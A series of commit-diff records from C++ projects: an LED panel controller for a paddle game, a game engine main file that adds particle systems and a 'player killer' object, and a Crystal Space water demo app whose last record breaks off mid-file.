{"text":"<commit_before>\/*\n *  LedControl.cpp\n *  emptyExample\n *\n *  Created by Brian Eschrich on 23.08.16\n *  Copyright 2016 __MyCompanyName__. All rights reserved.\n *\n *\/\n\n#include \"LedControl.h\"\n\n\n\/\/------------------------------------------------------------------\nvoid LedControl::setup(Paddle* paddle1_,Paddle* paddle2_,int heightField_) {\n    opcClient.setup(\"127.0.0.1\", 7890);\n    heightField = heightField_;\n    pixelPerLed.set(\"pixelPerLED\",10.0);\n    \n    \n    panel1.paddle = paddle1_;\n    panel2.paddle = paddle2_;\n    \n    for(int i=0; i<N_LEDS; ++i){\n        panel1.colorBuffer.push_back(0);\n        panel2.colorBuffer.push_back(0);\n    }\n    setColors(ofColor(128));\n    \n    panel1.paddle->height.addListener(this, &LedControl::onPaddle1HeightChanged);\n    panel2.paddle->height.addListener(this, &LedControl::onPaddle2HeightChanged);\n    \n}\n\n\/**\n * updating the leds, should be called every frame\n *\/\n\/\/------------------------------------------------------------------\nvoid LedControl::update() {\n    calculateLeds(panel1);\n    calculateLeds(panel2);\n    \n    \/\/ If the client is not connected do not try and send information\n    if (!opcClient.isConnected())\n    {\n        \/\/ Will continue to try and reconnect to the Pixel Server\n    }\n    else\n    {\n        opcClient.writeChannel(1,panel1.colorBuffer);\n        opcClient.writeChannel(2,panel2.colorBuffer);\n    }\n}\n\n\/*\n * returns an array of the active leds on panel1\n *\/\nvector<ofColor> LedControl::getColorsPaddle1(){\n    return panel1.colors;\n}\n\n\/*\n * returns an array of the active leds\n *\/\nvector<ofColor> LedControl::getColorsPaddle2(){\n    return panel2.colors;\n}\n\n\/*\n * sets paddle with a solid color\n * paddle can be 0 - both  1 - left  2 - right\n *\/\nvoid LedControl::setColors(ofColor color_, int panel){\n    vector<ofColor> colors;\n    \n    if (panel == 0 || panel == 1) {\n        for (int i=0; i<panel1.nActiveLeds; ++i) {\n            colors.push_back(color_);\n        }\n        setColorsPaddle1(colors);\n        \n    }\n    else if (panel == 0 || panel == 2) {\n        for (int i=0; i<panel2.nActiveLeds; ++i) {\n            colors.push_back(color_);\n        }\n        setColorsPaddle2(colors);\n    }\n}\n\n\/**\n * sets an array of colors on paddle\n *\/\nvoid LedControl::setColorsPaddle1(vector<ofColor> colors){\n    setColors(colors, panel1.colors);\n}\n\n\/**\n * sets an array of colors on paddle\n *\/\nvoid LedControl::setColorsPaddle2(vector<ofColor> colors){\n    setColors(colors, panel2.colors);\n}\n\n\/**\n * calculates colorBuffer\n *\/\nvoid LedControl::calculateLeds(LedPanel& panel){\n    \/\/clear color buffer\n    for (int i=0; i<panel.colorBuffer.size(); ++i) {\n        panel.colorBuffer[i] = ofColor(0);\n    }\n    float p_absolut = ofMap(panel.paddle->getPosition(),0, heightField,0,1);\n    \n    int pixelStart = ofMap(p_absolut, 1,0, 0, N_LEDS - panel.nActiveLeds);\n    \n    for(int i=0; i<N_LEDS; ++i){\n        if(i < pixelStart || i > pixelStart + panel.nActiveLeds)\n            panel.colorBuffer[i] = ofColor(0);\n        else\n            panel.colorBuffer[i] = panel.colors[i-pixelStart];\n    }\n    \n}\n\nvoid LedControl::setColors(vector<ofColor> inColors, vector<ofColor>& paddleColors){\n    for (int i=0; i<paddleColors.size(); ++i) {\n        if (i<inColors.size()) {\n            paddleColors[i] = inColors[i];\n        }\n    }\n    \n}\n\nvoid LedControl::onPaddle1HeightChanged(int& height){\n    updateColors(panel1);\n}\n\nvoid LedControl::onPaddle2HeightChanged(int& height){\n    updateColors(panel2);\n}\n\nvoid LedControl::onPixelPerLedChanged(float& height){\n    updateColors(panel1);\n    updateColors(panel2);\n}\n\nvoid LedControl::updateColors(LedPanel& panel){\n    panel.nActiveLeds = panel.paddle->height \/ pixelPerLed;\n    ofColor newColor = panel.colors.back();\n    panel.colors.resize(panel.nActiveLeds,newColor);\n}\n\n<commit_msg>Bugfix init colors on begin<commit_after>\/*\n *  LedControl.cpp\n *  emptyExample\n *\n *  Created by Brian Eschrich on 23.08.16\n *  Copyright 2016 __MyCompanyName__. All rights reserved.\n *\n *\/\n\n#include \"LedControl.h\"\n\n\n\/\/------------------------------------------------------------------\nvoid LedControl::setup(Paddle* paddle1_,Paddle* paddle2_,int heightField_) {\n    opcClient.setup(\"127.0.0.1\", 7890);\n    heightField = heightField_;\n    pixelPerLed.set(\"pixelPerLED\",10.0);\n    \n    \n    panel1.paddle = paddle1_;\n    panel2.paddle = paddle2_;\n    \n    for(int i=0; i<N_LEDS; ++i){\n        panel1.colorBuffer.push_back(0);\n        panel2.colorBuffer.push_back(0);\n    }\n    \n    for (int i=0; i<panel1.paddle->height \/ pixelPerLed; ++i) {\n        panel1.colors.push_back(0);\n        panel2.colors.push_back(0);\n    }\n    \n    setColors(ofColor(128));\n    \n    panel1.paddle->height.addListener(this, &LedControl::onPaddle1HeightChanged);\n    panel2.paddle->height.addListener(this, &LedControl::onPaddle2HeightChanged);\n    \n}\n\n\/**\n * updating the leds, should be called every frame\n *\/\n\/\/------------------------------------------------------------------\nvoid LedControl::update() {\n    calculateLeds(panel1);\n    calculateLeds(panel2);\n    \n    \/\/ If the client is not connected do not try and send information\n    if (!opcClient.isConnected())\n    {\n        \/\/ Will continue to try and reconnect to the Pixel Server\n    }\n    else\n    {\n        opcClient.writeChannel(1,panel1.colorBuffer);\n        opcClient.writeChannel(2,panel2.colorBuffer);\n    }\n}\n\n\/*\n * returns an array of the active leds on panel1\n *\/\nvector<ofColor> LedControl::getColorsPaddle1(){\n    return panel1.colors;\n}\n\n\/*\n * returns an array of the active leds\n *\/\nvector<ofColor> LedControl::getColorsPaddle2(){\n    return panel2.colors;\n}\n\n\/*\n * sets paddle with a solid color\n * paddle can be 0 - both  1 - left  2 - right\n *\/\nvoid LedControl::setColors(ofColor color_, int panel){\n    vector<ofColor> colors;\n    \n    if (panel == 0 || panel == 1) {\n        for (int i=0; i<panel1.nActiveLeds; ++i) {\n            colors.push_back(color_);\n        }\n        setColorsPaddle1(colors);\n        \n    }\n    else if (panel == 0 || panel == 2) {\n        for (int i=0; i<panel2.nActiveLeds; ++i) {\n            colors.push_back(color_);\n        }\n        setColorsPaddle2(colors);\n    }\n}\n\n\/**\n * sets an array of colors on paddle\n *\/\nvoid LedControl::setColorsPaddle1(vector<ofColor> colors){\n    setColors(colors, panel1.colors);\n}\n\n\/**\n * sets an array of colors on paddle\n *\/\nvoid LedControl::setColorsPaddle2(vector<ofColor> colors){\n    setColors(colors, panel2.colors);\n}\n\n\/**\n * calculates colorBuffer\n *\/\nvoid LedControl::calculateLeds(LedPanel& panel){\n    \/\/clear color buffer\n    for (int i=0; i<panel.colorBuffer.size(); ++i) {\n        panel.colorBuffer[i] = ofColor(0);\n    }\n    float p_absolut = ofMap(panel.paddle->getPosition(),0, heightField,0,1);\n    \n    int pixelStart = ofMap(p_absolut, 1,0, 0, N_LEDS - panel.nActiveLeds);\n    \n    for(int i=0; i<N_LEDS; ++i){\n        if(i < pixelStart || i > pixelStart + panel.nActiveLeds)\n            panel.colorBuffer[i] = ofColor(0);\n        else\n            panel.colorBuffer[i] = panel.colors[i-pixelStart];\n    }\n    \n}\n\nvoid LedControl::setColors(vector<ofColor> inColors, vector<ofColor>& paddleColors){\n    for (int i=0; i<paddleColors.size(); ++i) {\n        if (i<inColors.size()) {\n            paddleColors[i] = inColors[i];\n        }\n    }\n    \n}\n\nvoid LedControl::onPaddle1HeightChanged(int& height){\n    updateColors(panel1);\n}\n\nvoid LedControl::onPaddle2HeightChanged(int& height){\n    updateColors(panel2);\n}\n\nvoid LedControl::onPixelPerLedChanged(float& height){\n    updateColors(panel1);\n    updateColors(panel2);\n}\n\nvoid LedControl::updateColors(LedPanel& panel){\n    panel.nActiveLeds = panel.paddle->height \/ pixelPerLed;\n    ofColor newColor = panel.colors.back();\n    panel.colors.resize(panel.nActiveLeds,newColor);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Game and running\n#include \"Graphics\/Window.h\"\n#include \"GameEngine\/GameEngine.h\"\n\n\/\/ Static classes and singletons\n#include \"FileSystem\/AudioPreloadingMapper.hpp\"\n#include \"FileSystem\/ImagePreloadingMapper.hpp\"\n#include \"FileSystem\/LevelPreloadingMapper.hpp\"\n#include \"GameEngine\/MenuManager.hpp\"\n#include \"GameEngine\/Utilities.hpp\"\n#include \"GameEngine\/LevelQueue.hpp\"\n\n\/\/ Testing\n#include \"Globals.hpp\"\n#include \"Components\/PlayerManagerComponent.hpp\"\n#include \"Events\/ShutdownEvent.hpp\"\n#include <time.h>\n\n\/\/particles\n#include \"Particles\/EmitConstant.hpp\"\n#include \"Particles\/InitializeSizeRandom.hpp\"\n#include \"Particles\/InitializePositionRandom.hpp\"\n#include \"Particles\/InitializePositionRandomCam.hpp\"\n#include \"Particles\/UpdatePosition.hpp\"\n#include \"Particles\/InitializeLifeRandom.hpp\"\n#include \"Particles\/TerminateInstant.hpp\"\n\n\nint main()\n{\n\t\/\/ Seed random\n\tsrand(static_cast<unsigned int>(time(0)));\n\n\t\/\/ Window and engine creation\n\tGraphics::Window window(L\"OWO WHAT\\\"S THIS\");\n\tASSB::GameEngine Engine(window);\n\tASSB::LevelQueue LevelGenerator;\n\n\t\/\/ Preloading\n\tFileSystem::ImagePreloadingMapper::LoadFromFile(\"..\/..\/..\/Assets\/ImageList.txt\");\n\tFileSystem::AudioPreloadingMapper::LoadFromFile(\"..\/..\/..\/Assets\/AudioList.txt\");\n\tFileSystem::LevelPreloadingMapper::LoadFromFile(\"..\/..\/..\/Assets\/LevelList.txt\");\n\tLevelGenerator.BulkPopulate(FileSystem::LevelPreloadingMapper::DumpTags());\n\t\/\/LevelGenerator.LoadDefault();\n\t\/\/FileSystem::LevelPreloadingMapper::LevelFromFile(FileSystem::LevelPreloadingMapper::Retrieve(\"default\"));\n\t\/\/FileSystem::LevelPreloadingMapper::LevelFromFile(FileSystem::LevelPreloadingMapper::Retrieve(\"default\"));\n\n\t\/\/ Post-preloading\n\tASSB::Utilities Utils;\n\tASSB::MenuManager Menus;\n\n\t\/\/ Player\n\tASSB::Globals::ObjectID player = Engine.CreateGameObject(\"player\");\n\tDEBUG_PRINT_VAR(player);\n\tEngine.AddComponent<ASSB::PlayerManagerComponent>(player);\n\tEngine.AddComponent<ASSB::RigidBodyComponent>(player);\n\tASSB::ComponentHandle<ASSB::PlayerManagerComponent> pmComp = Engine.GetComponent<ASSB::PlayerManagerComponent>(player);\n\tpmComp->SetImage(\"player1L\", \"player1D\", { .5f,1,0 });\n\tpmComp->SetActive(false);\n\tEngine.GetComponent<ASSB::TransformComponent>(player)->SetPosition({ 0, 3, 0 });\n\tEngine.GetComponent<ASSB::RigidBodyComponent>(player)->SetStatic(false);\n\t\/\/Engine.GetComponent<ASSB::RigidBodyComponent>(player)->AddDispatchOnCollision(new ASSB::ShutdownEvent());\n\n\t\/\/particle rain\/snow\n\tASSB::Globals::ObjectID ParticleObject = Engine.CreateGameObject(\"Snow System\");\n\tEngine.AddComponent<ASSB::ParticleComponent>(ParticleObject);\n\tEngine.GetComponent<ASSB::SpriteComponent>(ParticleObject)->Visible = false;\n\tauto ParticleComp = Engine.GetComponent<ASSB::ParticleComponent>(ParticleObject);\n\n\tParticleComp->Path = L\"..\/..\/..\/Assets\/Images\/snow.png\";\n\tParticleComp->Visible = false;\n\tParticleComp->BlendMode = Graphics::GraphicsEngine::BlendMode::Multiply;\n\tParticleComp->Emitter = std::unique_ptr<ASSB::Emitter>(new ASSB::EmitConstant(ParticleObject, 40));\n\tParticleComp->Initializers.emplace_back(new ASSB::InitializeSizeRandom(ParticleObject, 0.05f, 0.2f));\n\tParticleComp->Initializers.emplace_back(new ASSB::InitializeLifeRandom(ParticleObject, 15, 20));\n\tParticleComp->Initializers.emplace_back(new ASSB::InitializePositionRandomCam(ParticleObject, Graphics::Vector4(-10, 15, -15), Graphics::Vector4(80, 15, 5)));\n\tParticleComp->Updaters.emplace_back(new ASSB::UpdatePosition(ParticleObject, Graphics::Vector4(-1, -2, 0)));\n\tParticleComp->Terminator = std::unique_ptr<ASSB::Terminator>(new ASSB::TerminateInstant(ParticleObject));\n\n\tParticleObject = Engine.CreateGameObject(\"Rain System\");\n\tEngine.AddComponent<ASSB::ParticleComponent>(ParticleObject);\n\tEngine.GetComponent<ASSB::SpriteComponent>(ParticleObject)->Visible = false;\n\tParticleComp = Engine.GetComponent<ASSB::ParticleComponent>(ParticleObject);\n\n\tParticleComp->Path = L\"..\/..\/..\/Assets\/Images\/rain.png\";\n\tParticleComp->BlendMode = Graphics::GraphicsEngine::BlendMode::Multiply;\n\tParticleComp->Emitter = std::unique_ptr<ASSB::Emitter>(new ASSB::EmitConstant(ParticleObject, 560));\n\tParticleComp->Initializers.emplace_back(new ASSB::InitializeSizeRandom(ParticleObject, 0.3f, 0.3f));\n\tParticleComp->Initializers.emplace_back(new ASSB::InitializeLifeRandom(ParticleObject, 2, 2));\n\tParticleComp->Initializers.emplace_back(new ASSB::InitializePositionRandomCam(ParticleObject, Graphics::Vector4(-10, 15, -15), Graphics::Vector4(50, 15, 5)));\n\tParticleComp->Updaters.emplace_back(new ASSB::UpdatePosition(ParticleObject, Graphics::Vector4(-20, -55, 0)));\n\tParticleComp->Terminator = std::unique_ptr<ASSB::Terminator>(new ASSB::TerminateInstant(ParticleObject));\n\n\t\/\/LevelGenerator.loadRandom();\n\t\n\t\/\/ Start the game.\n\tEngine.Run();\n\treturn 0;\n}<commit_msg>BROKEN D:<commit_after>\/\/ Game and running\n#include \"Graphics\/Window.h\"\n#include \"GameEngine\/GameEngine.h\"\n\n\/\/ Static classes and singletons\n#include \"FileSystem\/AudioPreloadingMapper.hpp\"\n#include \"FileSystem\/ImagePreloadingMapper.hpp\"\n#include \"FileSystem\/LevelPreloadingMapper.hpp\"\n#include \"GameEngine\/MenuManager.hpp\"\n#include \"GameEngine\/Utilities.hpp\"\n#include \"GameEngine\/LevelQueue.hpp\"\n\n\/\/ Testing\n#include \"Globals.hpp\"\n#include \"Components\/PlayerManagerComponent.hpp\"\n#include \"Events\/ShutdownEvent.hpp\"\n#include <time.h>\n\n\/\/particles\n#include \"Particles\/EmitConstant.hpp\"\n#include \"Particles\/InitializeSizeRandom.hpp\"\n#include \"Particles\/InitializePositionRandom.hpp\"\n#include \"Particles\/InitializePositionRandomCam.hpp\"\n#include \"Particles\/UpdatePosition.hpp\"\n#include \"Particles\/InitializeLifeRandom.hpp\"\n#include \"Particles\/TerminateInstant.hpp\"\n\n\nint main()\n{\n\t\/\/ Seed random\n\tsrand(static_cast<unsigned int>(time(0)));\n\n\t\/\/ Window and engine creation\n\tGraphics::Window window(L\"OWO WHAT\\\"S THIS\");\n\tASSB::GameEngine Engine(window);\n\tASSB::LevelQueue LevelGenerator;\n\n\t\/\/ Preloading\n\tFileSystem::ImagePreloadingMapper::LoadFromFile(\"..\/..\/..\/Assets\/ImageList.txt\");\n\tFileSystem::AudioPreloadingMapper::LoadFromFile(\"..\/..\/..\/Assets\/AudioList.txt\");\n\tFileSystem::LevelPreloadingMapper::LoadFromFile(\"..\/..\/..\/Assets\/LevelList.txt\");\n\tLevelGenerator.BulkPopulate(FileSystem::LevelPreloadingMapper::DumpTags());\n\t\/\/LevelGenerator.LoadDefault();\n\t\/\/FileSystem::LevelPreloadingMapper::LevelFromFile(FileSystem::LevelPreloadingMapper::Retrieve(\"default\"));\n\t\/\/FileSystem::LevelPreloadingMapper::LevelFromFile(FileSystem::LevelPreloadingMapper::Retrieve(\"default\"));\n\n\t\/\/ Post-preloading\n\tASSB::Utilities Utils;\n\tASSB::MenuManager Menus;\n\n\t\/\/ Player\n\tASSB::Globals::ObjectID player = Engine.CreateGameObject(\"player\");\n\tDEBUG_PRINT_VAR(player);\n\tEngine.AddComponent<ASSB::PlayerManagerComponent>(player);\n\tEngine.AddComponent<ASSB::RigidBodyComponent>(player);\n\tASSB::ComponentHandle<ASSB::PlayerManagerComponent> pmComp = Engine.GetComponent<ASSB::PlayerManagerComponent>(player);\n\tpmComp->SetImage(\"player1L\", \"player1D\", { .5f,1,0 });\n\tpmComp->SetActive(false);\n\tEngine.GetComponent<ASSB::TransformComponent>(player)->SetPosition({ 0, 3, 0 });\n\tEngine.GetComponent<ASSB::RigidBodyComponent>(player)->SetStatic(false);\n\t\/\/Engine.GetComponent<ASSB::RigidBodyComponent>(player)->AddDispatchOnCollision(new ASSB::ShutdownEvent());\n\n\t\/\/particle rain\/snow\n\tASSB::Globals::ObjectID ParticleObject = Engine.CreateGameObject(\"Snow System\");\n\tEngine.AddComponent<ASSB::ParticleComponent>(ParticleObject);\n\tEngine.GetComponent<ASSB::SpriteComponent>(ParticleObject)->Visible = false;\n\tauto ParticleComp = Engine.GetComponent<ASSB::ParticleComponent>(ParticleObject);\n\n\tParticleComp->Path = L\"..\/..\/..\/Assets\/Images\/snow.png\";\n\tParticleComp->Visible = false;\n\tParticleComp->BlendMode = Graphics::GraphicsEngine::BlendMode::Multiply;\n\tParticleComp->Emitter = std::unique_ptr<ASSB::Emitter>(new ASSB::EmitConstant(ParticleObject, 40));\n\tParticleComp->Initializers.emplace_back(new ASSB::InitializeSizeRandom(ParticleObject, 0.05f, 0.2f));\n\tParticleComp->Initializers.emplace_back(new ASSB::InitializeLifeRandom(ParticleObject, 15, 20));\n\tParticleComp->Initializers.emplace_back(new ASSB::InitializePositionRandomCam(ParticleObject, Graphics::Vector4(-10, 15, -15), Graphics::Vector4(80, 15, 5)));\n\tParticleComp->Updaters.emplace_back(new ASSB::UpdatePosition(ParticleObject, Graphics::Vector4(-1, -2, 0)));\n\tParticleComp->Terminator = std::unique_ptr<ASSB::Terminator>(new ASSB::TerminateInstant(ParticleObject));\n\n\tParticleObject = Engine.CreateGameObject(\"Rain System\");\n\tEngine.AddComponent<ASSB::ParticleComponent>(ParticleObject);\n\tEngine.GetComponent<ASSB::SpriteComponent>(ParticleObject)->Visible = false;\n\tParticleComp = Engine.GetComponent<ASSB::ParticleComponent>(ParticleObject);\n\n\tParticleComp->Path = L\"..\/..\/..\/Assets\/Images\/rain.png\";\n\tParticleComp->BlendMode = Graphics::GraphicsEngine::BlendMode::Multiply;\n\tParticleComp->Emitter = std::unique_ptr<ASSB::Emitter>(new ASSB::EmitConstant(ParticleObject, 560));\n\tParticleComp->Initializers.emplace_back(new ASSB::InitializeSizeRandom(ParticleObject, 0.3f, 0.3f));\n\tParticleComp->Initializers.emplace_back(new ASSB::InitializeLifeRandom(ParticleObject, 2, 2));\n\tParticleComp->Initializers.emplace_back(new ASSB::InitializePositionRandomCam(ParticleObject, Graphics::Vector4(-10, 15, -15), Graphics::Vector4(50, 15, 5)));\n\tParticleComp->Updaters.emplace_back(new ASSB::UpdatePosition(ParticleObject, Graphics::Vector4(-20, -55, 0)));\n\tParticleComp->Terminator = std::unique_ptr<ASSB::Terminator>(new ASSB::TerminateInstant(ParticleObject));\n\n\t\/\/player killer\n\n\tASSB::Globals::ObjectID PK = Engine.CreateGameObject(\"PK\");\n\tEngine.AddComponent<ASSB::RigidBodyComponent>(PK);\n\tauto RigidComp = Engine.GetComponent<ASSB::RigidBodyComponent>(PK);\n\tRigidComp->SetCollisionType(ASSB::CollisionType::GHOSTING);\n\tRigidComp->SetStatic(false);\n\tRigidComp->SetVelocity(Graphics::Vector4(4.8f, 0, 0));\n\n\tauto TransComp = Engine.GetComponent<ASSB::TransformComponent>(PK);\n\tTransComp->SetPosition(Graphics::Vector4(-10, 0, 0));\n\tTransComp->SetScale(1, 20);\n\n\t\/\/LevelGenerator.loadRandom();\n\t\n\t\/\/ Start the game.\n\tEngine.Run();\n\treturn 0;\n}<|endoftext|>"}
{"text":"<commit_before>\/*\n * appwaterdemo2.cpp\n *\n * Definition of AppWaterdemo2, the main application object.\n *\/\n\n#include \"appwaterdemo2.h\"\n#include <cstool\/initapp.h>\n#include <csutil\/csstring.h>\n#include <csutil\/event.h>\n#include <csutil\/sysfunc.h>\n#include <csutil\/syspath.h>\n#include <iutil\/event.h>\n#include <iutil\/eventq.h>\n#include <iutil\/vfs.h>\n#ifdef USE_CEL\n#include <celtool\/initapp.h>\n#endif\n\n#include <imesh\/watermesh.h>\n\nAppWaterdemo2::AppWaterdemo2() : csApplicationFramework()\n{\n  SetApplicationName(\"waterdemo2\");\n}\n\nAppWaterdemo2::~AppWaterdemo2()\n{\n}\n\nvoid AppWaterdemo2::ProcessFrame()\n{\n  \/\/ First get elapsed time from the virtual clock.\n  csTicks elapsed_time = vc->GetElapsedTicks ();\n\n  \/\/ Now rotate the camera according to keyboard state\n  float speed = (elapsed_time \/ 1000.0) * (0.03 * 20);\n\n  iCamera* c = view->GetCamera();\n  if (kbd->GetKeyState (CSKEY_SHIFT))\n  {\n    \/\/ If the user is holding down shift, the arrow keys will cause\n    \/\/ the camera to strafe up, down, left or right from it's\n    \/\/ current position.\n    if (kbd->GetKeyState (CSKEY_RIGHT))\n      c->Move (CS_VEC_RIGHT * 4 * speed);\n    if (kbd->GetKeyState (CSKEY_LEFT))\n      c->Move (CS_VEC_LEFT * 4 * speed);\n    if (kbd->GetKeyState (CSKEY_UP))\n      c->Move (CS_VEC_UP * 4 * speed);\n    if (kbd->GetKeyState (CSKEY_DOWN))\n      c->Move (CS_VEC_DOWN * 4 * speed);\n  }\n  else\n  {\n    \/\/ left and right cause the camera to rotate on the global Y\n    \/\/ axis; page up and page down cause the camera to rotate on the\n    \/\/ _camera's_ X axis (more on this in a second) and up and down\n    \/\/ arrows cause the camera to go forwards and backwards.\n    if (kbd->GetKeyState (CSKEY_RIGHT))\n      rotY += speed;\n    if (kbd->GetKeyState (CSKEY_LEFT))\n      rotY -= speed;\n    if (kbd->GetKeyState (CSKEY_PGUP))\n      rotX += speed;\n    if (kbd->GetKeyState (CSKEY_PGDN))\n      rotX -= speed;\n    if (kbd->GetKeyState (CSKEY_UP))\n      c->Move (CS_VEC_FORWARD * 4 * speed);\n    if (kbd->GetKeyState (CSKEY_DOWN))\n      c->Move (CS_VEC_BACKWARD * 4 * speed);\n  }\n\n  \/\/ We now assign a new rotation transformation to the camera.  You\n  \/\/ can think of the rotation this way: starting from the zero\n  \/\/ position, you first rotate \"rotY\" radians on your Y axis to get\n  \/\/ the first rotation.  From there you rotate \"rotX\" radians on the\n  \/\/ your X axis to get the final rotation.  We multiply the\n  \/\/ individual rotations on each axis together to get a single\n  \/\/ rotation matrix.  The rotations are applied in right to left\n  \/\/ order .\n  csMatrix3 rot = csXRotMatrix3 (rotX) * csYRotMatrix3 (rotY);\n  csOrthoTransform ot (rot, c->GetTransform().GetOrigin ());\n  c->SetTransform (ot);\n  \n  if (g3d->BeginDraw(engine->GetBeginDrawFlags() | CSDRAW_3DGRAPHICS))\n  {\n\tview->Draw ();\n  }\n}\n\nvoid AppWaterdemo2::FinishFrame()\n{\n  g3d->FinishDraw();\n  g3d->Print(0);\n}\n\nbool AppWaterdemo2::OnKeyboard(iEvent& ev)\n{\n  \/\/ We got a keyboard event.\n  if (csKeyEventHelper::GetEventType(&ev) == csKeyEventTypeDown)\n  {\n    \/\/ The user pressed a key (as opposed to releasing it).\n    utf32_char code = csKeyEventHelper::GetCookedCode(&ev);\n    if (code == CSKEY_ESC)\n    {\n      \/\/ The user pressed escape, so terminate the application.  The proper way\n      \/\/ to terminate a Crystal Space application is by broadcasting a\n      \/\/ csevQuit event.  That will cause the main run loop to stop.  To do\n      \/\/ so we retrieve the event queue from the object registry and then post\n      \/\/ the event.\n      csRef<iEventQueue> q =\n        csQueryRegistry<iEventQueue> (GetObjectRegistry());\n      if (q.IsValid())\n\/\/        q->GetEventOutlet()->Broadcast(csevQuit(GetObjectRegistry()));\n\t\texit(0); \/\/ HACK TO AVOID SEGFAULT ON EXIT\n    }\n  }\n  return false;\n}\n\nbool AppWaterdemo2::OnInitialize(int argc, char* argv[])\n{\n  iObjectRegistry* r = GetObjectRegistry();\n\n  \/\/ Load application-specific configuration file.\n\/\/  if (!csInitializer::SetupConfigManager(r,\n\/\/      \"\/my\/vfs\/path\/AppWaterdemo2.cfg\", GetApplicationName()))\n\/\/    return ReportError(\"Failed to initialize configuration manager!\");\n\n#ifdef USE_CEL\n  celInitializer::SetupCelPluginDirs(r);\n#endif\n\n  \/\/ RequestPlugins() will load all plugins we specify.  In addition it will\n  \/\/ also check if there are plugins that need to be loaded from the\n  \/\/ configuration system (both the application configuration and CS or global\n  \/\/ configurations).  It also supports specifying plugins on the command line\n  \/\/ via the --plugin= option.\n  if (!csInitializer::RequestPlugins(r,\n\tCS_REQUEST_VFS,\n\tCS_REQUEST_OPENGL3D,\n\tCS_REQUEST_ENGINE,\n\tCS_REQUEST_FONTSERVER,\n\tCS_REQUEST_IMAGELOADER,\n\tCS_REQUEST_LEVELLOADER,\n\tCS_REQUEST_REPORTER,\n\tCS_REQUEST_REPORTERLISTENER,\n\tCS_REQUEST_CONSOLEOUT,\n\tCS_REQUEST_END))\n    return ReportError(\"Failed to initialize plugins!\");\n\n  \/\/ \"Warm up\" the event handler so it can interact with the world\n  csBaseEventHandler::Initialize(GetObjectRegistry());\n \n  \/\/ Set up an event handler for the application.  Crystal Space is fully\n  \/\/ event-driven.  Everything (except for this initialization) happens in\n  \/\/ response to an event.\n  if (!RegisterQueue (r, csevAllEvents(GetObjectRegistry())))\n    return ReportError(\"Failed to set up event handler!\");\n\n  return true;\n}\n\nvoid AppWaterdemo2::OnExit()\n{\n}\n\nbool AppWaterdemo2::Application()\n{\n  iObjectRegistry* r = GetObjectRegistry();\n\n  \/\/ Open the main system. This will open all the previously loaded plugins\n  \/\/ (i.e. all windows will be opened).\n  if (!OpenApplication(r))\n    return ReportError(\"Error opening system!\");\n\n  \/\/ Now get the pointer to various modules we need.  We fetch them from the\n  \/\/ object registry.  The RequestPlugins() call we did earlier registered all\n  \/\/ loaded plugins with the object registry.  It is also possible to load\n  \/\/ plugins manually on-demand.\n  g3d = csQueryRegistry<iGraphics3D> (r);\n  if (!g3d)\n    return ReportError(\"Failed to locate 3D renderer!\");\n\n  engine = csQueryRegistry<iEngine> (r);\n  if (!engine)\n    return ReportError(\"Failed to locate 3D engine!\");\n    \n  vc = csQueryRegistry<iVirtualClock> (r);\n  if (!vc) return ReportError(\"Failed to locate Virtual Clock!\");\n\n  kbd = csQueryRegistry<iKeyboardDriver> (r);\n  if (!kbd) return ReportError(\"Failed to locate Keyboard Driver!\");\n\n  loader = csQueryRegistry<iLoader> (r);\n  if (!loader) return ReportError(\"Failed to locate Loader!\");\n\n\n  engine->SetLightingCacheMode(0);\n  engine->SetClearScreen(true);\n  \n  rotY = 0;\n  rotX = 0;\n\n  if(!LoadMap()) return 0;\n\t\n  room = engine->FindSector (\"room\");\n\n  engine->Prepare ();\n\n  view.AttachNew(new csView (engine, g3d));\n  iGraphics2D* g2d = g3d->GetDriver2D ();\n  view->SetRectangle (0, 0, g2d->GetWidth (), g2d->GetHeight ());\n\n  view->GetCamera ()->SetSector (room);\n  view->GetCamera ()->GetTransform ().SetOrigin (csVector3 (0, 3, 0));\n  \n  \/\/****************** END OF INITIALIZATION STUFFS ***********************\/\/\n  \/\/ Start the default run\/event loop.  This will return only when some code,\n  \/\/ such as OnKeyboard(), has asked the run loop to terminate.\n  Run();\n\n  return true;\n}\n\nbool AppWaterdemo2::LoadMap ()\n{\n  \/\/ Set VFS current directory to the level we want to load.\n  csRef<iVFS> VFS (csQueryRegistry<iVFS> (GetObjectRegistry ()));\n  VFS->ChDir (\"\/lev\/oceantest\");\n  \/\/ Load the level file which is called 'world'.\n  if (!loader->LoadMapFile (\"world\"))\n    ReportError(\"Error couldn't load level!\");\n\n  return true;\n}<commit_msg>- Compile fix.<commit_after>\/*\n * appwaterdemo2.cpp\n *\n * Definition of AppWaterdemo2, the main application object.\n *\/\n\n#include \"appwaterdemo2.h\"\n#include <cstool\/initapp.h>\n#include <csutil\/csstring.h>\n#include <csutil\/event.h>\n#include <csutil\/sysfunc.h>\n#include <csutil\/syspath.h>\n#include <iutil\/event.h>\n#include <iutil\/eventq.h>\n#include <iutil\/vfs.h>\n#ifdef USE_CEL\n#include <celtool\/initapp.h>\n#endif\n\n#include <imesh\/watermesh.h>\n\nAppWaterdemo2::AppWaterdemo2() : csApplicationFramework()\n{\n  SetApplicationName(\"waterdemo2\");\n}\n\nAppWaterdemo2::~AppWaterdemo2()\n{\n}\n\nvoid AppWaterdemo2::ProcessFrame()\n{\n  \/\/ First get elapsed time from the virtual clock.\n  csTicks elapsed_time = vc->GetElapsedTicks ();\n\n  \/\/ Now rotate the camera according to keyboard state\n  float speed = (elapsed_time \/ 1000.0) * (0.03 * 20);\n\n  iCamera* c = view->GetCamera();\n  if (kbd->GetKeyState (CSKEY_SHIFT))\n  {\n    \/\/ If the user is holding down shift, the arrow keys will cause\n    \/\/ the camera to strafe up, down, left or right from it's\n    \/\/ current position.\n    if (kbd->GetKeyState (CSKEY_RIGHT))\n      c->Move (CS_VEC_RIGHT * 4 * speed);\n    if (kbd->GetKeyState (CSKEY_LEFT))\n      c->Move (CS_VEC_LEFT * 4 * speed);\n    if (kbd->GetKeyState (CSKEY_UP))\n      c->Move (CS_VEC_UP * 4 * speed);\n    if (kbd->GetKeyState (CSKEY_DOWN))\n      c->Move (CS_VEC_DOWN * 4 * speed);\n  }\n  else\n  {\n    \/\/ left and right cause the camera to rotate on the global Y\n    \/\/ axis; page up and page down cause the camera to rotate on the\n    \/\/ _camera's_ X axis (more on this in a second) and up and down\n    \/\/ arrows cause the camera to go forwards and backwards.\n    if (kbd->GetKeyState (CSKEY_RIGHT))\n      rotY += speed;\n    if (kbd->GetKeyState (CSKEY_LEFT))\n      rotY -= speed;\n    if (kbd->GetKeyState (CSKEY_PGUP))\n      rotX += 